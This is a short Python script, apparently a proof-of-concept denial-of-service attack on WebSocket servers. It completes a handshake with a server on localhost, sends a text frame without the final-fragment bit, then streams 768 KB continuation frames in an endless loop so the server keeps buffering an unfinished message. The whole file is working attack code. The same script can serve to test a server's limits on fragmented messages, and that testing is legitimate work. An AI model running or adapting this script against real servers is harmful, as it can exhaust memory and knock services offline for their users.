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tbc.py
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tbc.py
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import os
import socket
import struct
import sys
import time
def handshake(sock, host, port, path):
headers = "\r\n".join((f"GET {path} HTTP/1.1",
f"Host: {host}:{port}" if port != 80 else f"Host: {host}",
"Upgrade: websocket",
"Connection: Upgrade",
"Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==",
"Sec-WebSocket-Version: 13",
"\r\n"))
sock.send(bytes(headers, "utf-8"))
resp = sock.recv(4096)
print("Handshake complete")
def build_header(opcode, payload):
header = bytearray()
header.append(opcode)
payload_len = len(payload)
if payload_len < 0x7e:
header.append(0x80 | payload_len)
elif payload_len < 0xffff:
header.append(0x80 | 0x7e)
header.extend(struct.pack("!H", payload_len))
elif payload_len < 0xffffffffffffffff:
header.append(0x80 | 0x7f)
header.extend(struct.pack("!Q", payload_len))
else:
sys.exit("Payload is too large")
mask = os.urandom(4)
header.extend(mask)
return (header, mask)
def send_frame(sock, opcode, payload):
payload = bytearray(payload, "utf-8")
payload_len = len(payload)
header, mask = build_header(opcode, payload)
for i in range(payload_len):
payload[i] ^= mask[i % 4]
sock.send(header + payload)
def send_text_frame(sock):
payload = "to be continued..."
send_frame(sock, 0x1, payload)
def send_continuation_frame(sock):
payload = "!" * 1024 * 768
send_frame(sock, 0x0, payload)
if __name__ == "__main__":
host = "localhost"
port = 8000
path = "/"
sock = socket.socket()
sock.connect((host, port))
handshake(sock, host, port, path)
send_text_frame(sock)
print("Text frame sent without fin bit")
try:
print("Sending continuation frames without fin bit")
frames = 0
while True:
send_continuation_frame(sock)
frames += 1
if frames % 100 == 0:
print(f"Sent {frames} continuation frames")
time.sleep(0.1)
except KeyboardInterrupt:
pass
print("Stopped sending frames")
sock.close()